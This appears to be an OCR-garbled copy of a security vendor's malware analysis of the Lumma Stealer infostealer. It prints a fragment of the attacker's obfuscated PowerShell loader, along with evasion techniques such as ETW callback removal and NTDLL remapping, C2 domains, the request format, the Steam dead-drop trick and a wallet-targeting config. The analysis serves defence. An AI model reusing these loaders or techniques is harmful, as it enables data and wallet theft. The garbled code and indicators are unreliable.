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Summary

Lumma Stealer, first identified in 2022, remains a significant threat to this day, continuously evolving its tactics, techniques, and procedures
(TTPs) to stay aligned with emerging trends. It is distributed on the dark web via a subscription-based model, Malware-As-A-Service(MaasS).
Lumma is designed to detect virtual and sandbox environments, allowing it to avoid detection by security systems that depend on the
sandbox environment to assess the file behaviour. The malware is capable of exfiltrating sensitive data, including information from web
browsers, email applications, cryptocurrency wallets, and other personally identifiable information (Pll) stored in critical system directories.

The Trellix Advanced Research Center has been tracking recent campaigns by the threat actors behind Lumma Stealer and analyzing the
evolution of their TTPs. In this blog we present our technical analysis on how Lumma performs the below objectives

« Infection chain

« Code flow obfuscation

e API hash resolving

« Heaven’s gate

« Disabling ETWTi callbacks

« Anti-Sandox techniques

« Command and control, exfiltration
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Figure 1: Lumma stealer’s infection chain
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A threat actor was observed distributing Lumma via obfuscated PowerShell scripts. These scripts contain two executable files in Base64-
encoded format,

1. A .NET executable (loader) named GOO.dIl
2. The Lumma payload

$t0="J0C00IEX' .replace('Jo000"',"'") ;sal GG $t0;

$OE="ug4AtAnNNTbgBTMOhVGhpcyBwem9nemFt IGNhbm5vdCBiZSBydWdgaW4gRESTIG1vZGUuUDQOKIARARRARARBORQAATARDAFOe 1 GCAARARARAARAORRLIETATARA(

$iy="p4RAAFAARARARRLAARARARARARAARARORARARAAAL AR AR ARAARA AR ARARARRARARARARARRARARARCRARARS fugd4ALANNIbGBTMONVGhpCyBwcmOncmF L IGND

Sytr=" V".replace(' ;'')Y.replace('DD',"")

SKKD 1QARMARAARARAL/ / BAALGARARA LA AL QAL LA A A LA R A AAAAAARAAARA A AR AR AL AAAAAAARAAARAAAAAGARAARAE"
Siu=§ytr+siy

$obj =€ ($iu)

$iu2=4ytr+$KKD+50E
$obj2 =G ($iu2)

$55D=[system.Convert] .GetMethod ("FromBase64String™)
$hgh=$55D. Invoke ($null, $ob3j)
$hgh2=$55D. Invoke ($null, $obj2)

$Yoo=[object[]] ('C:‘\Windows\Mi

) soft .NFFET\FraDDmew

<e' .replace('FF',"'") .replace('DD"',"'"),%hgh)

[Reflection.Assembly] : :Load($hgh2) .GetType ('R2') .GetMethod ('Run') . Invoke ($null, $Y00)
Set-Clipboard -value " -

exit;

Figure 2: Obfuscated Powershell Script

The PowerShell script loads the .NET executable using the Reflection API, then locates the "R2" Class within the assembly, and invokes its
"Run()" method. The arguments supplied to the "Run" method are stored within the $YOO variable. The first argument is the path to
RegSvcs.exe ("C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegSvcs.exe"), and the second argument is the Lumma payload ($hgh).

Powershell

$Y00=[object[]]
('C:\Windows\MicrFFosoft.NFFET\FraDDmewDDork\v4.0.30319\RegSvcs.exe'.replace('FF',"'"').replace('DD',"'"'), $hgh
)

The .NET binary, obfuscated with Crypto Obfuscator, injects the Lumma binary into the RegSvcs.exe process. The injected Lumma payload
then continues to operate, masquerading as the legitimate RegSvcs.exe utility.

Time date stamp Size of image

2025-01-25 13:48:27 00018000

Endian Mode

Automatic EE 32-bit

* PE32
Protector: Crypto Obfuscatar For Net(5.X)[-]
Library: NET(v4.0.30319)[-]
Linker: Microsoft Linker(48.0)[DLL32]

Figure 3: Packer information
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Figure 4: .NET assembly and the function used to invoke Lumma payload
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Figure 5 : Powershell spawning Regsvcs.exe

Technical Analysis of Lumma Stealer

During the analysis of the derived sample, the command and control (C2) servers were inactive, resulting in an incomplete behavioral
analysis. To provide a thorough analysis for our readers, we have detailed the observed behavior of the latest Lumma sample, which may be
delivered to the victim's environment via the technique previously discussed.

Sample hash (SHA256) : 80741061ccb6a337cbdf1b1b75c4fcfae7dd6ccde8ecc333fcae7becca5dc8861

Performing code analysis on the Lumma’s binary, its main function begins by passing encrypted strings to a decryption routine. The first string
to be decrypted is "ntdll.dll". Similarly, the names of other important libraries such as kernel32.dll, user32.dll, winhttp.dll, and crypt32.dil are
also decrypted during runtime.

The decrypted string is passed as an argument to a function that leverages Process Environment Block (PEB) data structure in Windows to
resolve the library's address in memory. With this technique, Lumma avoids calling very commonly monitored APIs like LoadLibrary and
GetProcAddress, which are scrutinized by EDR and other security systems.

Code flow obfuscation

Lumma employs advanced codeflow obfuscation techniques to significantly complicate the analysis. As a result, this malware makes it
difficult for decompilers(a commonly used tool in malware analysis) to fully decompile the code.

Due to this, static analysis methods are rendered ineffective in revealing the complete logic of the program.

3.24(:04 [+F] : .xcr cl,byte ptr ss:[lespreax+2l] - =
80CL 20 add €1,20 & o 2 75
884C04 02 mov byte ptr ss:[esp+eax+2],c — . =
10 The au wzE" EAX  776B0000 mzE
83F8 14 cmp eax,14 MzE " _wﬂﬂﬂﬂ.l e

~ 75 EA jne e9e568dcel2cad3. 67BCO0 ECX  00678CD6 <\rerh
8D7424 02 ea esi,dword ptr ss:[lesp+2]] ELY Frroauory e
56 push esi esi:L"ntd11.d11" EEP ggEFFQSE &"X0T
EB DO1BODOD ;g!] £9e56Rdce12cadd, 67DRR0 Esp EEF704
83c4 04 add esp,4 ESI  OOEFF796 L"ntd11.d11"
A3 DO116900 mov dword ptr ds:[6911D0],eax QQ@QLIDQ:&"HZE"_ eax: "MZE" EDI 00648850 <ef9e568dcel2:
31c9 XOr ecx,ecx ecx: rrh"
85C0 Test eax,eax eax:"mzE" EIP 0067BCD4 ede568dcel2c:
0F94C1 sete cl o is: [ ] )
8BOCBD 84726800 mov ecx,dword ptr ds:[ecx”4+687284 ecx:"<\r°rh"” 1
BA AFA3I188 mov edx,BE11A3AF ERLACS) ofonaen
3315 8C726800 xor edx,dword ptr ds:[68728C] = <
01pl elldd ecx, edx
41 L inc ec il Default (stdcall}

*[5500 00726800 ey DT e T B ecx:"<\r-rh", 00687280:"Aos" A RO IO e SERIEEIAT
Bois SorEEoRR et SR s AR s BRI 2: [esp+8] 006CO06C

Figure 6: The next instruction is determined by calculating ECX, with the green box highlighting the calculation used to derive ECX

From the image above, the larger box highlights the routine responsible for calculating the next jump, while the smaller box shows a jump
instruction that contains the next instruction address in the “ecx” register. As a result, the code-blocks are scattered without any static links
between them, the links (i.e.,addresses to the next valid code-block) are calculated dynamically, resulting in the decompiler failing to analyze
the code accurately and the code-flow is broken. Lumma Stealer extends this obfuscation technique to control flow statements such as If-Else
and Do-While, further complicating the analysis.
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Additionally, the calculation varies with each jump, making it difficult to automate or clean the code effectively. In this case, the jump leads to
the immediate next instruction at address ECX = 0067BCD6 (Refer Image).

API hash resolving

Lumma uses an API hashing technique to dynamically resolve API functions during runtime, a common method employed by malware to
locate APIs as needed.

Below listed are a few API’s resolved by Lumma dynamically,

o RtlAllocateHeap

* RtIReAllocateHeap

o RtlIFreeHeap

o RtlExpandEnvironmentStrings

Also, APlIs required for networking are resolved using the same function.

Lumma sample being 32-bit, it uses Heaven’s gate technique to run 64-bit code when it is executed on a 64-bit machine.

Heaven’s gate

Lumma identifies whether it's running on a 32-bit or 64-bit machine by comparing the value of the Code Segment (CS) register.
If the value is 0x23. Then it's a 32-bit machine.
If the value is 0x33. Then it's a 64-bit machine.

When running on a 64-bit system, Lumma transitions to 64-bit code using the ‘jmp far 33’ instruction.

LH e o, DIEGKP’UIIIL:I — I\’IUIIIUI)' mn L ou

® EA 09706A77 3300 jmp Tar 33:776A7009

® 0000 d.al
® 41 inc ecx

® FFA7 F8000000 jmp dword ptr ds:[edi+F8]
° 0000 add byte ptr ds:[eax],al
] 0000 add byte ptr ds:[eax],al
® 0000 add byte ptr ds:[eax],al
e 7 0000 add byte ptr ds:[eax],al
87 0000 add byte ptr ds:[eax],al
] 0000 add byte ptr ds:[eax],al
a nnnn add bvtre ntr rds-Teaxl al

Figure 7: Jmp far instruction for 32 to 64 bit transition

To invoke NTAPI functions, Lumma constructs a table that includes Syscall Hashes and Syscall Indexes. It traverses the export table of the
ntdll.dll library to generate custom hashes for APl names starting with "Nt" such as NtQueryInformationFile and NtOpenFile.

Lumma hashes syscalls based on their opcode pattern. Specifically,

Syscalls that begin with the opcode B8 and end with a return opcode of C2 or C3 are considered for hashing

3c c2
OF94C3 =
8B1CO9D 10796800 mov ebx,dword ptr ds:[ebx"4+687910]
8B7C24 D4 mov edi,dword ptr ss:[lesp+4]
01FB add ebx,edi
43 inc ebx
FFE3 jmp ebx
31DB
3c c3 [cm al,c3
OF94C3 sete
8B1C9D 24796800 mov ebx,dword ptr ds:[ebx*4+687924]
8B7C24 30 mov edi,dword ptr ss:[lesp+300Q
01FB add ebx,edi
43 inc ebx
FFE3 jmp ebx
31DB |xor ebx,ebx
3c B8 cmp a1i55
OF94c3 sete
8B049D 30796800 mov eax,dword ptr ds:[ebx*4+687930]
01p0 add eax,edx
40 inc eax
~ FFEOQ jmp eax

Figure 8: Hashing Criteria

Below image depicts the syscalls matching above discussed pattern.
For example:

« NtYieldExecution syscall starts with B8 and returns using “C3” opcode
o NtAddAtom syscall starts with B8 and returns using “C2” opcode
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77722EE0D 46000100 mov eax,10046 NtyieldExecution

77T22EES BA 908a7377 mov edx,ntdl1.77738A90

77722EEA C | edx

77722EEC @:

777T22EED 00 ea ecx,dword ptr ds:[ecx]

77T22EF0Q B8 47000400 mov eax,Al047 Ntaddatom
77722EF5 BA 908BA7377 mov edx,ntdl]1.77738A90

77722EFA D €all edx

77722EFC il C

Figure 9: Debugger snippet

On the other hand, syscalls like NtCurrentTeb, which do not start with B8, are excluded from the Syscall hash table.

—e|[77763CFD 64:A1 18000000 mov eax,dword ptr BE:[15] NtCurrentTeb
e|77763CF6 c3
e 77763CF7 BBFF mov edi,edi
®| 77763CF9 55 push ebp

Figure 10: NtCurrentTeb Syscall pattern not matching the hashing criteria

Syscall hash/index table

&% Dump 1 &% Dump 2 &'s Dump 3 g% Dump 4 g% Dump 5 & watch 1

ASCIT
01014588 71 D1 BE AL|00 00 00 00|ZCSE....QqN%j....
01014598 "o—ep—5 - B8 89 1E C3|63 00 00 00|0. .)... ..Ac...
010145A8 |49 A7 €7 73|59 00 00 00|CD 3A B2 OF |64 00 00 00|IS§CsY...1:=.d...
0101458846 1C DA A7 |65 00 00 00|21 14 2D DC|66 00 00 00|F.USe...!.-Uf...
010145C8(53 99 7A A9|67 00 00 00|B6 D8 CA 07|68 00 00 00|s.z€g...JeE.h...
01014508|D1 10 OF 1D|47 00 OA 00|/CC 97 3B BA|69 00 11 00|f...G...I.;°%i...
010145E8/64 CO D4 99|6A 00 00 00|4E 7E DA 69|68 00 00 00|dAd.7...N~Uik...
010145F8(B7 89 54 S5F|6C 00 00 00 |F7 72 56 21|41 00 00 00|..T_1...=rv!A...
01014608|A5 04 35 EO|6D 00 00 00|7E 00 DA 57 |6E 00 07 0O|¥.5am...~.Own...
01014618|81 BE B9 97 |6F 00 03 00|AD 7A 64 BD|70 00 04 00|.%'.0....zd%p...
01014628|2C B8 22 79|71 00 04 00|D1 09 52 C4|/72 00 00 00|,."yq...N.RAr...
01014638|5C 9C 93 0B|73 00 00 00|19 98 20 CE|74 00 00 00[\...s..... ft...
01014648 |BE EC A4 26|75 00 11 00|CE 64 52 02|18 00 00 00|X%ix&u...%dR.....
01014658 (0B 3C CB 7A|76 00 00 00(36 09 3A 39|77 00 00 00|.<Ezv...6.:9w...
01014668|3A 2A 84 77|78 00 00 00|F2 A8 S5F €7|79 00 00 00| :*.wX...0 _Cy...
01014678/97 F3 11 30|7A 00 00 00|56 DA 64 52|78 00 00 00|.6.0z...VUdR{...
01014688|79 98 27 82|7C 00 00 00|28 OA FA 2A|7D 00 00 00|y."'.|...+.0*}...
01014698 |A5 B6 9 53|7E 00 00 00|/B2 CB OE D5|7F 00 00 00|¥Y.S~...ZE.O....
010146A8(44 E9 AA 78|80 00 00 00|06 94 5D 3D |81 00 00 00|Dé3X......]=....
01014688|10 40 D1 63|82 00 00 00|1F FF C6 €9/83 00 00 00|.@Nc.....y&E....

010146C8(1C BD B7 17|84 00 00 00 (1E 00 9A 2D|85 00 00 00|.%:........ e
010146D8|67 A8 B8 91|86 00 00 00|6D 22 96 DD|(87 00 00 00/g”,..... i,
010146E8|60 BC CO 77|88 00 00 00|1F FB 69 C8(89 00 00 00| %Aw..... aik....
010146F8|BE 62 BO 7F[8A 00 00 00|C4 28 20 11|88 00 00 00|%b‘..... AC sses
01014708|04 E4 98 CD|8C 00 00 00 |4F 1D CA B1(8D 00 00 00|.&.1....0.E%....
01014718(B8 4C OD E6|4C 00 00 00(2E 9C 6F FF|[8E 00 05 00| ,L.®L..... O <an
0101472824 SE 6F 8A|8F 00 08 00|FA 4F 03 EA|90 00 00 00|$A0.....00.8....
010147238161 73 42 87191 00 00 00IDC A7 85 F9I105 00 00 00lasR [i§ &

Figure 11: Syscall hash table

The above image shows the syscall table, A DWORD (hash) followed by another DWORD containing “Syscall Index”.

For instance, the first DIWWORD is the hash value for the NtAcceptConnectPort/ZwAcceptConnectPort API (Index = 2) followed by the second
DWORD consisting of the syscall index(2). Whenever Lumma has to Invoke a NTAPI, it finds the syscall index by traversing the table and
matching on the respective hash.

a0

77722480 B8 02000000 Svscall Index = 2 ZwAcceptconnectPort
22485 BA 90847377 MoV edx,ntal1. 77738490

FFD2
77722ABC C2 1800
77722A8F a0

Figure 12: ZwAcceptConnectionPort Syscall pattern
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NTDLL Re-mapping

Lumma leverages the syscall table to remap ntdll.dll based on the system architecture. The correct version of the DLL (32-bit or 64-bit) is
determined by checking the value of the Code Segment (CS) register.

On a 32-bit system, knowndlls32/ntdll.dll is mapped.
On a 64-bit system, knowndlls/ntdll.dll is mapped.

Below listed NTAPI system call Indexes are resolved using their respective hash

NtOpenSection 0x06519B84  0x37
NtMapViewOfSection 0xCB8D7CB0 0x28
NtUnMapViewOfSection O0xE40A7173  O0x2A

NtClose 0x2C331E1F  0x3000F
Table 1 : API, respective hash values as generated by the malware and Syscall Index

Based on the remapped NTDLL, syscall table is re-generated, and the previously created hashtable is overwritten, it is unclear why the
process is repeated twice. Probably, by loading NTDLL from disk, the malware aims on getting a clean, unhooked version of the DLL, which
would prevent the EDR from detecting its activities because the hooks wouldn't be in place.

Below image depicts two NTDLL libraries loaded in memory, highlighted in red is the originally loaded NTDLL module library, highlighted in
green is the remapped NTDLL library.

Name Base address Size Description
80741061ccb6a33.exe Ox6a0000 380 kB
apphelp.dll 0x74880000 640 kB Application Compatibility Clien...
combase.dll 0x755f0000 2.5MB Microsoft COM for Windows
gdi32.dll 076720000 144 kB GDI Client DLL
gdi32full.dll 0x75870000 916 kB GDI Client DLL
imm32.dll Ox77610000 148 kB Multi-User Windows IMM32 A._.
kernel32.dll 076090000 960 kB Windows NT BASE API Client ...
KernelBase.dll 0x76410000 2.23MB  Windows NT BASE API Client ...
msvep win.dll 0x762e0000 492 kB Microsoft® C Runtime Library
ntdll.dll 0x2930000 1.64 MB  NT Layer DLL

m.dll 0x776b0000 1.64 MB  NT Layer DLL |
ole32.dll 0x773c0000 908 kB Microsoft OLE for Windows
oleaut32.dll 0x76940000 600 kB OLEAUT32.DLL
rpert4.dll 077300000 764 kB Remote Procedure Call Runtime
shell32.dll 0x76c10000 571 MB  Windows Shell Common DIl
ucrthase.dll 0x761c0000 1.12 MB  Microsoft® C Runtime Library
user32.dll 0x767a0000 1.61 MB  Multi-User Windows USER AFL..
win32u.dll 0x75da0non 96 kB Win32u
wow64.dll 0x7ffa2e2f0... 356 kB Win32 Emulation on NT64
wowb4cpu.dll 0x776a0000 40 kB AMDE4 Wow64 CPU
wowe4win.dll 0x7ffa2def0... 524 kB Wow64 Console and Win32 A...

Figure 13: Lumma remapping the NTDLL library
Post syscall generation, newly loaded NTDLL is unmapped using “NtUnMapViewOfSection “ and its handle closed using “NtClose”.

Disabling ETWTi callbacks

Lumma invokes the NtSetInformationProcess API, passing a structure that modifies the ProcessInformation class. By setting the Callback
field to 0 in the structure, callbacks set by security softwares like ETW (Event Tracing for Windows) are removed and this prevents those
software from monitoring the system calls made by Lumma stealer.
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efault (stdcall)

D

1: [esp] O067CBCD e9e568dcel2cad3. 0067CBCD
2: [esp+4] FFFFFFFF

3: [esp+8] 00000028

4: [esp+Cc] 010FF9cCC

5: [esp+10] 0000000C

Figure 14: Arguments passed to NtSetIinformationProcess

Y Dump 1 @Y Dump 2 % Dump 3 @4 Dumg

Address |Hex
010FFSCC 00" 00 00 Q0|00 OO 0O OO[00 DO Q0 0O

Figure 15: Twelve null-bytes are being passed as the ProcessInformation argument

Above image shows NtSetinformationprocess’s parameters, with third argument (Processinformation) set to null the callbacks

Anti-sandbox techniques

To avoid detection in sandbox environments, Lumma checks for the presence of specific sandbox or antivirus-related DLLs. The malware
verifies that these DLLs are not loaded into memory, using the hardcoded hash values stored in Lumma’s .rdata section.

After validation, Lumma proceeds to the next stage. We wrote a python implementation of the hashing algorithm to obtain the below list of
process names verified by Lumma to detect sandbox environments.

OxA7FD5028  avghookx.dll  AVG

0x8EF13DC7  avghooka.dll AVG

0x25D20435 snxhk.dll AVAST
0x27185A1A sbiedll.dll Sandboxie
0x6B46ED5E  api_log.dll iDefense Labs

0xB267D178  dir_watch.dll iDefense Labs

0x24BFD795  pstorec.dll Sunbelt Sandbox

0x51B7A9D8  vmcheck.dll  Virtual PC

0x9CEDCD6D  wpespy.dll WPE Pro

0x23437BOF cmdvrt64.dll Comodo Container

0x187DF7EO0  cmdvrt32.dll  Comodo Container
Table 2 : Analysis details of Lumma’s Dynamic hashing
For anti-analysis purposes, Lumma includes an optional feature to detect virtual machine (VM) environments. This check is performed based
on the response from the Command and Control (C2) server, specifically by verifying if the response contains the property named “vm” set to

"true". The command and control section below contains a detailed analysis of this feature.

Region specific execution

Lumma also includes a region-specific execution check. If the User Default Language is set to Russian (identified by the language code
0x419), the malware will exit with a prompt that the country is not supported.

® Breakpoints ® Memory Map [} Call Stack =% SEH le| Seript & symbols <> Source + References ' Threads & Handles §7 Trace
EBOD 74GEG800 mov ecx,dword ptr ds:[686F74] 00686F74:  Px23S#0 7

81F1 DAGABFAA XOr ecx,AABFGADA Hide FPU
S?Cgl ;:3 g%n!eiecx |:: ifgsifsg <kernel32. cetuserpefaultuILanguage>
8BYD 20FFFFFF bx,dword pt :[lebp-£0, bp-E0] : &"XB0"
. FFEO B eax Bebp-c0f Lisop E02 440 ECX  DOB7DEC2 e9e568dcal2cad3. 0067DEC2
Al AB816800 mov eax,dword ptr ds:[6881A8] L& ” EDX 00000000 o
83EC 0B sub esp.8 E GUSBELAR. &Mk EBP  QODAF988 %"
890424 mov dword ptr ss:[espll,eax lespl:"MzE" ESP  0ODAF478 &'mzE”
C74424 04 5C725280 mov dword ptr ss:[esp+4]],8052725¢C ESI 0068163C e9e568dcel2cad3. 0068163C
E8 937a0000 €all <e9e568dcel2cad3. resolve_hash> taking kernel32 and a dword EDI  OODAFGBC "0Th"
83c4 OB add esp,8
e Sebl ek e EIP  0067615D e9e568dcel2cad3. 0067615
FFDO gall eax
OFB7CO movzZX eax,ax ;;LQGSPF 50022234
BABD 7BFFFFFF mov cl,byte ptr ss:[lebp-83 B0 St oro
888D 74FFFFFF mov byte ptr ss:[febp-8cl],c T 1
€645 E2 Bl mov byte ptr ss:febp-1£],B1 [ IE: IF
€645 E3 AD mov byte ptr SS:EEbp—LD],-‘\D
Cc645 E4 AA mov byte ptr ss:febp-1cf],Aa < >
€645 E5 AB mov byte ptr ss:febp-18],AB =
3ca S L i Default (stdeall) =I5 [#177 unloe

Figure 16: GetUserDefaultUILanguage API being resolved using dynamic API hashing
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Command and control, exfiltration

Dynamic analysis revealed that Lumma is calling multiple domains before calling the legitimate “steamcommunity.com”.

Diverter]
Diverter] U 3
NS Server] Received A reque fo omai neralmills_pro’

Diverter] ! cchb b A8) d TCP

Diverter] =
Server]

Jiverter] ) !

Diverter] host.exe (18 d UDP 192.

4 'blast-hu
Diverter] 5
Diverter]

Server]
Diverter]
Diverter]

Diverter] ost. (19 que d UDP 19
DNS Server] Rece \ reque in 'natur
Diverter] que

Diverter]

Diverter] 8@874: cchbba337c.exe 548) requested TC

Figure 17: Lumma attempting to connect to the list of embedded domains

All strings related to C2 communications including domains, backup domains, header, and HTTP methods are stored in encrypted format.

For instance, an encrypted C2 domain is decrypted as “mercharenal.]biz”.

v Queries

v mercharena.biz: type A, class IN
MName: mercharena.biz
[Name Length: 14]
[Label Count: 2]
Type: A (Host Address) (1)
Class: IN (@xeeel)

[Response In: 1325]

45 00 00 3c 08 31 00 00 80 11 72 2f c@ a8 1f 80 E--<-1 r/

c@ a8 1f 80 e8 b6 00 35 @0 28 17 83 66 45 01 00 5 -(--fE
0020 00 01 00 00 00 60 00 00
0030 00 01 00 01

Figure 18: Analysis details of Wireshark capture
For each decrypted domain, a connection attempt (POST) is made with below request parameters

Method POST

User Agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

Endpoint /api

Content-type application/x-www-form-urlencoded

body act=life

Table 3 : POST request parameters

9/20


https://www.trellix.com/en-us/img/newsroom/stories/lumma-infostealer-17.jpg
https://www.trellix.com/en-us/img/newsroom/stories/lumma-infostealer-18.jpg

0065F5E0 [L shiningrstars. help™
0065F535 [L" fapi™
0065F53F |L"Content-Type: application/x-www-form-urlencoded'rin™

0065F5A3 | "act=1ife’

[atalalatalatatsd

1

Figure 19: POST request arguments starting Alternative Domain, Endpoint, Content-Type and request body

The response from the server is expected to be "ok".

OF B4 27030000 I
66:CT4424 0D 0205 mov word ptr
Cc64424 OF BF mov byte prr s
30 "
0 | . ~ :
20 noj String "ok” before decryption
20 I
20 i
90 :
an s
90 nof
20 nof
OFBG441C 0D movzx eax,byte ptr ssiffespsebxsif
BDpEe 15003391 |Tea ecx,dword ptr ds:[ebx-GECCFFER]
Jici ®Or ecx,eax
B1C1 5TFFG7TE add ecx,msvcrt. 7667FF57
BOCE mov eax,ecx
B3F0 TE xor eax,’E
Boca mov edx,ecx
83cA 01 |or eds,1
21c2 |and edx, eax
B3F1 01 | ®or ecx,1
8D04 51 |lea eax,dword ptr ds:[ecx-edx"2]
8B441C OD |mov byre prr ss:fespsebx-of,al
BDO41B | Tea eax,dword ptr ds:[ebx:ebx]
Bacl mov ecx,eax
83E1 02 and ecx,2
1D8 and eax,ebx
3lp9 xor ecs,ebx
Bplc4l |Tea ebx,dword ptr ds:[ecx:eax*2]
BIF3 01 | %or ebx,1
83F8 03 cmp ebx,3
72 CO b e9e568dcel2cad3. 644900
| nco Xor eax,eax
BR7424 08 [ mev es1,dword ptr ss:fesp-£]
li] o
Decrypted string
exe: SAALD #9EL0
np 3 % Dump 4 W% Dump 5 Watch 1 lee| Locals i Struct
|
n.t.e.n. t, |
na i _an

Figure 20: Lumma validates the response from the server to match the string “ok”. Notably, this string is encrypted rather than stored in plain

text.

Steam as backup Domain

Lumma checks if the primary domain is available, If not, it attempts to reach the backup domains. In the event that all backup domains are

unresponsive, Lumma will use the gaming website Steam[.Jcom to generate a C2 URL.

Lumma initiates a request to a Steam community profile at the following URL:
hxxps://steamcommunity.com/profiles/76561199724331900

From the response, Lumma extracts the Steam username and uses it to derive the C2 URL. Below image shows the usernames, used by the
threat actor in the past. The usernames represent the C2 domain name in encrypted fashion.
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Brave Sea 9 Steam Community : 76361199 X +

% steamcommunity.com/profiles/76561199724331900

STEAM STORE ABOUT SUPPORT

76561199724331900 .

This user has also played as:
76561199724331900
dxtepleelnpvc zer
jfcti-riricty.nzx
gwiotxic-fwjlyzg.nzx
yhvzwii-czdyzg df
hwpvdlyoc-mwznv.nzx
xtdsl-wzozyzdzg.nzx
dafeytv-1985_nzx
wpg-ezwdezt nzx

Figure 21: Threat actor frequently modifies the steam usernames

For example, the HTML title tag in the profile page might be:
<title>Steam Community :: ytvzwlj-czxlyzg.df</title>

The username is initially encrypted, but the Lumma decrypts it to obtain the final C2 URL, which is:
hxxps://nikolay-romanov[.]su/

For this sample, the domain “mercharena[.]biz” was active and returned the expected “ok” response. Then, Lumma sends another POST
request with body containing action(act) property as “recive_message” (with the misspelling of the word receive), version as “4.0” and license
ID as “fotVYij--testik1”

“act=recive_message&ver=4.0&lid=f9tVYj--testik1&j="

Sha256 80741061cch6a337cbdf1b1b75c4fcfae7dd6ececde8ecc333fcae7becca5dc8861
Build ID fotVYj--testik1

C2 domains http:[//]blast-hubs.com/
http:[//]blastikcn.com/
http:[//lgeneralmills.pro/
http:[//Jmercharena.biz/
http:[//Inaturewsounds.help/
http:[/Inestlecompany.pro/
http:[//]shiningrstars.help/
http:[//]stormlegue.com/

Table 4 : Malware Build ID and Command & Control domains
C2 returned an encrypted configuration file. After decryption, the contents revealed a malware configuration file in JSON format, which

detailed the specific data Lumma intends to exfiltrate, including browser data, wallet information, password manager details, and critical file
paths.
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I3 Windows 10 x64
* 80741061ccbba337c.exe - PID: 5852 - Module: 80741061ccb6a337c.exe - Thread: Main Thread 8480 - x32dbg [Elevated]
File View Debug Tracing Plugins Favourites Options Help May 8 2021 (TitanEngine)
CHE S|t 9 twB L2l # aBBP
B cru | Log [ Motes ® Breakpoints W Memory Map [ Call Stack =j SEH o] Script & symbols <> Source /- References 'S Threads & Handles | L]
[E— e FF15 74241100 €all dword ptr ds: [<&winHLLpReadDatas] 7
000CFCEC Al CcDB1000 mov eax,dword ptr : [10D8cc] 0010D8CcC:"c!* " ‘
D00CFCFL 8BOD DE1000 mov ecx,dword ptr : [10D8DO] 00621082
®| 000CFCF7 801409 lea edx,dword ptr ds:[ecx+ecx] EAX B
| 000CFCFA F7D2 not edx EBAL LODIES3RD
8| DOOCFCFC olca add edx,ecx ECX  DO4FEB34
®| D00CFCFE 81CY 193071AF or ecx,AF713019 EDX 00000000
™ 8lca EGCFBESO or edx,508ECFE6 EBP  0000215A
@| 000CFDOA 21CA and edx,ecx ESP  004FEB40D
000CFDOC 2900 sub eax,edx ESI 005F4DFO
®| 000CFDOE| =~ FFEO jmp eax EDI  0QO0G1EF58
@/ 000CFDLO 036C24 04 add ebp,dword ptr ss:[Qesp+4[J
®| 000CFD14 31c0 Xor eax,eax EIP 000CFCEG
®| 000CFDLE 8B0485 E4DS1000 mov eax,dword ptr ds:[eax”4+10D8E4]
®|| D00CFD1D B9 5BOCOS5F mov ecx,5F080C58
®| 000CFD22 330D ECDE1000 xor ecx,dword ptr ds:[10DSEC] 0O10DSEC: ""xT @!*" Lhiac et
®| 000CFD28 0lcs add eax,ecx DEO SFO DF O
®|| 000CFD2A 40 inc eax e -
®| 000CFD28 89FB mov ebx,edi edi:"FUT+el+NGQFG6TroEUPEF9zaTeENIT | SEL1 TF1 IF1
®| 000CFD2D| +~ FFEQ jmp eax
®| 000CFD2F 31c0 XOr eax,eax LastError 0000000(
@|| D0OOCFD31 8508 test ebx,ebx Laststatus CO00007¢
®| 000CFD33 0F95C0 setne al
®| 000CFD36 880485 EOD81000 mov eax,dword ptr ds:[eax 4+10D8F0] GS 002B FS 0053
®| 000CFD3D B9 F143BGEF mov ecx,EFB643F1 ES 0028 Ds 0028
®| 000CFD42 330D F8D&1000 xor ecx,dword ptr ds:[10D8F8] Cs 0023 ss 0028
®| 000CFD48 01c. add eax,ecx
®| 000CFD4A 40 inc eax cTraY Annnnnnannnne
®| 000CFD4B| -« FFEO jmp eax <
| 000CFD4D 20 nop ——
@|| 000CFDAE 90 nop « | Default (stdcall)
@ NnncEndE an non it [esp] 005F5380
< > 2 I&Bp&tq 00621082
adi=0 3: [esp+8] 00000559
Az Eesp+c]]DMFEBS4
5: [esp+10] 005F538
. Text:000CFDO4 80741061ccb6a337c.exe:$FD04 #F104
4% pump 1 @4 bump2 @4 pump 3 @Joumps U4 Dump5 & watch 1 Ix=| Locals 2 Sstruct ggj,ﬁégﬁé gg?é?igo ELLEEINCORODINEEL
e o Fos T | 004FEB24| 00002154 -
DOG1EFLC |00 00 00 00[00 00 00 00|00 00 00 00[00 ek UL A LEPNTILS BOTH100 L
0061EF2C |00 00 00 00|00 00 00 00|00 00 OO0 00|00 ODJFEE§O 00000000 CHie
0061EF3C |00 00 00 00|80 ED 61 00(01 00 00 00|10 2 "
DOG1EFAC |00 00 00 00|BC BE 7D DD |46 F& 00 OC |46 D QCOLE B Rl £ NGOREET FOEL
DO061EF5C| 65 4A 2B 4E|47 51 46 36|36 54 72 6F (45 55 50 36| el+NGQFG6TroEUPE ODSF-IDFO
0061EF6C |46 39 5A 51|54 65 45 4E |4A 54 32 32 (4C 4B 62 2B|F9ZQTEENIT22LKb+ Ar005E5280
O061EF7C (45 65 36 46|5A 49 52 75|5A 6F 68 61|70 62 6B 31| Ee6FZIRuZohapbkl ODAFEESL rDUGZlDBZ
O0G1EFBC (49 77 6D 4D|47 4E 4A 6C 4D 59 39 79|2B 6E 49 73| IwmMGNIIMY9y+nIs 004FER48 || 00000559
O061EF9C |68 53 38 66|57 39 64 41|31 5A 73 39(7A 50 4D 4A|hs8fw9dAalzs9zPMm1 004FEBAC || 004FERS4
O061EFAC |70 69 38 69|6E 78 54 73|36 44 55 6A|48 35 45 59 pi8inxTs6DUJHSEY 004FEE50 || 005E5380
O061EFBC |30 6B 6F 34|32 48 4B 34 |63 6E 66 44 |61 45 39 66| 0ko4 2HK4cnfDaESf 004ress54 | 00000000
0061EFCC (31 30 44 45|6E 33 71 42|39 51 6A 6E|66 53 69 5A|10DEn3gBIQjnfsiz
D061EFDC |45 50 72 75|66 57 41 57|68 46 2B 4E[64 43 48 51 | EPrufwawhF+NdCKQ bl RS
Command:l::-:r:n"; comma rated (like assembly instruct 8): mov cax, ebx

Figure 22: Encrypted Lumma Response

The image below displays the decrypted configuration file in JSON format.
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"ejbalbakoplchlghecdalmeeeajnimhm",
"MetaMask"™

"aeblfdkhhhdedjpifhhbdicjplfjncoa”,
"lPassword"”

"inlgamecbpmbajjfhmmmlhejkemejdma™,
"Braavos"

